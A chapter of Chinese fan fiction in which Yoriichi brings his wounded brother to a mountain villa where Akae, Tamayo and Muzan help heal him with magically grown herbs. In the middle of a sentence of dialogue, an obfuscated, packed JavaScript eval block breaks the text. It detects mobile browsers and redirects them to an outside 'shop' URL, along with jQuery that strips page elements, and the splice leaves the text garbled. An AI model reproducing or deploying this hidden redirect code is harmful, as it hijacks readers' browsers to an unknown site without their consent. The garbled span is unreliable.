严胜跌落山崖滚了下去,即便缘一及时拉住了他的手,可强大的下坠惯性也让他们无法停下,期间又被灌木划伤多处。
还不等想到办法,两人又落入了一道急流之内,不多时就被冲到边缘,随着瀑布一起快速往下落去。
湍急的水流不住的冲刷着他们,脚下又无可借力的地方,兄长又呛水,又流血,已经快要昏迷,饶是缘一也慌了神。
他拼尽全力把兄长救上了岸,撕下衣服下摆,想要给他包扎止血,可是他浑身湿透,衣服也是如此,又怎么止得住?
好在天无绝人之路,没过多久便有脚步声传来,缘一出于武士的本能,抬手握紧了刀柄,随时准备防御危险。
岂料出现在他面前的,却是两个只穿着兜裆布的彪形大汉,不是星熊和金熊又是谁?
原来比起红枫别院中的雅致汤池,他们更爱在山林中的野温泉内泡澡,禀报了阿江一声后,就出来玩了。
谁知道泡到一半就听见了尖叫,还是陌生男人的尖叫,这怎么能不让他们紧张?
但两熊也是艺高人胆大,就这么水灵灵的顺着声音和血腥味的方向找来了,正好把继国兄弟堵了个正着。
眼看是两个人类男子,一个正警戒着,另一个则躺在地上已经昏迷,根本不具备战斗力,他们悬着的心总算暂时放下。
只要不是什么大妖怪就好,可随即就有一个疑问摆在他们面前。
两个人类男子是怎么穿过结界来到这儿的?按理说,这根本不可能啊。
他们两个还在那儿咬耳朵嘀咕,缘一却早已用通透世界把他们看了个一清二楚。
所谓通透世界,这是缘一与生俱来的能力。
别人看东西,只能看外表,可他的眼睛却能看到内脏,骨头,血液的流动,甚至呼吸和心跳的节奏……等等。
也就是说,他能看见常人看不见的东西。
而眼前的两人,哦不,应该不是人,他们的身体结构更像是两头熊,可周身又有不寻常的气息流动着。
是妖力,不过短短几瞬,他就凭借以往的经历认出来了。
而星熊和金熊虽然不认识他,可也感觉到了不对劲儿。
眼前的男子绝对是人类绝对没错了,可他身上却带着一股大妖怪的味道,似乎还是他们很熟悉的大妖怪,可就是一时想不起来。
他们可是大江山鬼王,酒吞童子的部下,能让他们感觉熟悉的大妖怪应该也没有几个,可这到底是谁的味道呢?
他们想不起来,而缘一又是个闷葫芦,他想救兄长,可又担心眼前这两个妖怪暴起伤人,双方就只能这么僵持着。
好在星熊眼尖,看到了缘一斜插在腰间的东西。
“这扇子上有我们姬君的灵力,你是怎么得来的?”
一句话,直接让缘一愣在当场,他想起兄长之前那么看重这桧扇,就连掉落悬崖,被水冲刷也不肯放弃。
缘一猜到这对兄长很重要,所以才会在刚才那么紧要的关头也想方设法把扇子留下,不成想,却在这儿碰到了扇子的主人……的下属。
“请帮忙救我兄长,我会把扇子还给你们的。”
思虑一瞬后,到底是兄长的安危占了上风,他取下腰间的桧扇扔了过去。
星熊一把接住,又用力闻了闻,没错了,的确是阿江的灵力,还有眼前这两个人类男子的气息。
“你去背上他。”星熊想着,总得弄清楚怎么回事,于是乎,便转头对金熊道。
“为什么是我背?你怎么不背?”金熊不愿意。
“要不就让他背,反正他说这是他兄长啊。”他指向了缘一。
“他能跟上我们吗?”星熊一瞪眼。
“还有啊,我们还没弄清楚他身上的气息是谁的呢。”他把金熊拉到一旁,低声提醒了一句。
“……”,金熊不情不愿的就要答应的时候,缘一却突然开口了。
“我能跟上,只要你们带路就行。”
“……”,两熊见状也不在争吵。
反正是他自己要求的,届时就算人死了也怪不到他们身上,再说,还可以试探一下这小子到底什么来头。
就这样,他们故意跑的很快,可没想到缘一即便背着严胜,却还是能跟上,只是碍于他们是带路的,所以一直没有超越。
好在他们的位置离别院不远,很快就穿过山林,走过石桥,桂川在下方流淌,鱼儿摇曳其中,然而他们都无心观赏。
很快踏入了庭院,珠世第一个发现了他们,但她的反应却是拿起扫帚就打。
原因无他,星熊和金熊居然只穿着兜裆布就冒冒失失的闯进了阿江的院落,还带着陌生男子。
“多么无礼啊,居然不经通报擅闯内宅,还带着……”
珠世一边用扫帚驱赶星熊和金熊,一边用言语谴责。
可等她走近了看到他们身后的继国缘一和他背着的人的时候,瞬间就呆愣在地。
毫无疑问,她认出来了,这就是自己的猎杀对象,可怎么没死,还到家里来了?
她百思不得其解,直到阿江开始喊她。
“珠世,出什么事了吗?”
随即就有脚步声由远及近,珠世眼疾手快,赶紧挥舞扫帚把星熊和金熊赶到灌木后,不让他们这个样子待在院子里。
那么留在院子里的,就只剩下背着哥哥,站在那里的继国缘一了。
阿江走出来看到有陌生人在,自然要问的。
“珠世,这是?”
可还不等珠世回答,继国缘一就先开口请求。
“我知道这样很失礼,但情况紧急,还请先救救我兄长吧。”
他的话音未落时,灌木丛后又传来了星熊和金熊交错说话的声音。
“奥,我想起来了!”
“我想起来他身上的气息是谁的了。”
“是天狗,是大天狗,和王齐名的大妖怪!”
……
眼看他们两个就要出来,珠世挥舞扫帚又给打了下来。
“蹲好啊,你们两个。”她气的使劲儿打了两下。
星熊和金熊碍于她是阿江的侍女也不好如何,更别提这会儿他们的确不合适露面,便继续躲在后面高声解释。
“姬君,这人身上有大天狗的气息。”
“大天狗是王的故交,你就救救他们吧。”
他们出言请求,阿江也闻到了血腥味,知道情况不妙,便连连点头答应。
“原来是父亲的故交啊,那快请进。”
“珠世,你是医师,给他们看看吧。”
阿江招呼了一声。
然而此时无惨却不知何时已经站在了走廊尽头,珠世顿觉心头一紧。
“姬君,这里没有药材啊。”她试图推脱。
“缺什么?我给你种出来就是。”阿江却觉得这根本就不是个事儿。
“需要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278688|198317||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
田七,艾草,黄柏,还有高丽参……”
眼看阿江救人心切,珠世也只得硬着头皮一一开单子。
“没问题,我这就种。”阿江点了点头。
“无惨,帮忙搭把手。”她回头喊了一声。
“这就来。”无惨虽然答应着,但心里却很不高兴。
“不劳费心,我自己来。”特别是继国缘一还避开了他的帮忙,选择自己把哥哥背进了房间的时候。
‘这家伙是怎么回事?’这人看他的眼神让他觉得很不爽。
“你们也别愣着了,快来帮忙啊。”
珠世意识到自己的无良老板生气了,赶忙找了两件衣袍扔到了灌木丛后,并招呼星熊和金熊过来搭把手。
就在这一片忙碌中,总算蒙混过关。
而无惨才没兴趣去看珠世救治什么本就该死的人类男子,他现在已经完全被在隔壁房间的阿江吸引住了。
或者说,是被阿江施法催生各种药材的能力吸引住了。
她就那么跪坐着,面前的花盆里明明只有泥土,连种子都没有,可随着珠世在隔壁不停的开单子,她居然就能种出来。
无惨眼睁睁看着阿江掐诀,浅蓝色的光芒亮起,然后花盆里就出现长好的药材。
接着她就会拉开纸障门把东西送过去,而星熊和金熊则会处理,该切片切片,该磨成粉就磨成粉,还要去准备热水和纱布。
旁边快要忙成狗,然而无惨却丝毫不在乎。
他只贪婪的看着阿江一次又一次的种出各种各样的药材,终于,他忍不住了,走到她身旁坐下。
“阿江,是不是不管什么样的植物,你都能种出来?”他以这辈子最温柔的语气轻声询问道。
“大概吧,但我没试过,因为在家的时候,我从来没受过伤,就算要用药,父亲也会派小妖怪去库房取。”
阿江没有察觉到他的不对劲,只实话实说着。
“那你能不能试试?试着,种一种,蓝色彼岸花?”无惨轻声要求道。
“哈哈!”岂料阿江看了他一眼后,却突然笑了起来。
“无惨,你都在说什么啊。”
“我为什么要种蓝色彼岸花,那跟重新创造一个自己有什么区别?”
“这不是吃饱了撑得没事干吗?”
“好了,你别胡闹了,快把药材送过去。”
“等救了人,我还想问问父亲故友的近况,希望回家的时候他不会太生气。”
她以为无惨在开玩笑,只摇了摇头,让他一起干活儿,还想着怎么哄哄父亲酒吞童子。
“……”,虽然是她随口说的,但无惨也不得不服从命令去帮忙。
与此同时,他也意识到自己刚才的行为太冲动了。
就算阿江真的能种出蓝色彼岸花又怎样?有这个契约在,还有酒吞童子的威胁,他看似没危险,实则一点都不安全。
特别是当他拉开纸障门,把药材送过去,却被男人一直盯着看的时候。
而在这里能被称为‘男人’的,除了躺着的继国严胜,就只有守在一旁的继国缘一了。
尽管恨不得把这讨厌的男人的眼珠子挖出来,然而无惨面上还是带着温和的笑容把手上的药材递了过去。
而缘一接过之后,也不在看无惨,转而尽可能的帮忙,但他的身体依旧紧绷,仿佛时刻准备着什么。
因为他知道,房间里,只有他和兄长是人。